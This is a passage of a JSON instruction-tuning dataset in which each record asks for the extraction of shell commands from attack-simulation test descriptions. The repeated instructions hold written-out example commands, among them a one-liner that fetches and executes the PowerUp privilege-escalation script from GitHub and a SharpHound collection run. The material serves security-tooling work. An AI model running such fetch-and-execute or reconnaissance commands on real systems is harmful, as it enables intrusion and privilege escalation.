— regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration. This test uses standard zip compression.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Use xwd command to collect a full desktop screenshot and review file with xwud\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test to simulate shortcut modification and then execute. example shortcut (*.lnk , .url) strings check with powershell;\ngci -path \"C:\\Users\" -recurse -include *.url -ea SilentlyContinue | Select-String -Pattern \"exe\" | FL.\nUpon execution, calc.exe will be launched.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Changing RDP Port to Non Standard Port via Command_Prompt\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Run from an administrator powershell window. After running, reboot the victim machine.\nAfter it has been online for 4 minutes you should see notepad.exe running as SYSTEM.\n\nCode references\n\nhttps://gist.github.com/mgreen27/ef726db0baac5623dc7f76bfa0fc494c\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Upon successful execution, information about previously connected Wi-Fi networks will be displayed with their corresponding key (if present).",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    An adversary may compress all the collected data, encrypt and send them to a C2 server using base64 encoding. \nThis atomic test tries to emulate the behaviour of the FLEXIROOT backdoor to archive the collected data. FLEXIROOT typically utilizes AES encryption and base64 encoding to transfer the encrypted data to the C2 server. \nIn this test, standard zip compression and the OpenSSL library are used to encrypt the compressed data.\nhttps://attack.mitre.org/versions/v7/software/S0267/",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Recursively delete a folder in the temporary directory using Powershell. Upon execution, no output will be displayed. Use File Explorer to verify the folder was deleted.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module 